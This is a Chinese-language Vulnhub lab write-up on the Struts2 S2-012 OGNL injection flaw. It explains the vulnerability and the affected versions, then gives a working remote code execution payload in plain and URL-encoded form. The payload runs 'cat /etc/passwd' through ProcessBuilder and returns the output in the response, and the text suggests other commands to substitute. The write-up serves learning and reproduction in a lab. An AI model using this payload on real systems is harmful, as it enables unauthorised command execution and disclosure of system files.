Vulnhub-Struts2系列漏洞

S2-012远程代码执行漏洞

漏洞简述

OGNL提供了广泛的表达式评估功能等功能。包含特制请求参数的请求可用于将任意OGNL代码注入到属性中,此后将其用作重定向地址的请求参数,这将导致进一步的评估。
OGNL评估已经在S2-003和S2-005和S2-009中得到解决,但是由于它只涉及参数的名称,所以证明了基于白名单可接受的参数名称并拒绝对参数中包含的表达式进行评估的结果修复名称,仅部分关闭了漏洞。第二个评估发生在重定向结果从栈中读取并使用先前注入的代码作为重定向参数时。这使得恶意用户将任意的OGNL语句放置在由操作公开的任何未归类的String变量中,并将其评估为OGNL表达式,以便绕过Struts和OGNL库保护来执行方法执行并执行任意方法。

影响版本

Struts Showcase App 2.0.0 – Struts Showcase App 2.3.13

准备环境

启动Vulnhub靶机环境:

验证靶机应用启用成功:

 

漏洞复现

启动BurpSuite准备抓包:

POC

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

注:

其中插入的执行命令为cat  /etc/passwd

也可换成whoami  或 ls  或者   pwd 

即将  “cat”, “/etc/passwd”  换为   “whoami”  或  “ls”  或者  “pwd”

使用URL转码:

%25%7B#a=(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22cat%22,%20%22/etc/passwd%22%7D)).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new%20java.io.InputStreamReader(#b),#d=new%20java.io.BufferedReader(#c),#e=new%20char%5B50000%5D,#d.read(#e),#f=#context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22),#f.getWriter().println(new%20java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()%7D

漏洞利用成功